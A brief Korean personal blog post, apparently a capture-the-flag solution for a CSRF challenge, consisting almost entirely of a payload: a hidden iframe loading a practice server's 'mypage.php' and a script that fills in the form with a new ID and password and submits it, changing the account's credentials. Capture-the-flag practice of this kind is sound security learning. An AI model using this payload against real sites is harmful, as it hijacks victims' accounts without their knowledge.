• Home
  • About
    • PI photo

      PI

      Beginner's Blog

    • Learn More
    • Github
  • Posts
    • All Posts
    • All Tags
    • All Categories
  • Projects

[CTF] CTF 문제 풀이: CSRF 취약점 1

📆 Created: 2025.01.09 Thu

Reading time ~1 minute


<iframe src="http://ctf.segfaulthub.com:7575/csrf_2/mypage.php?user=2" style="display:none">
</iframe>

<script>
    let f = document.querySelector('iframe').contentWindow;
    f.addEventListener('load', () => {
        // window.alert = function() {}; // alert만 안 뜨게 하면 clear
        let input_arr = f.document.querySelectorAll('input');
        let id = input_arr[0].value = "2_admin";
        let pw = input_arr[2].value = "2";
        let submit = f.document.querySelector('form').submit();
    });
</script>


TILWEBCTF Share Tweet +1
/#disqus_thread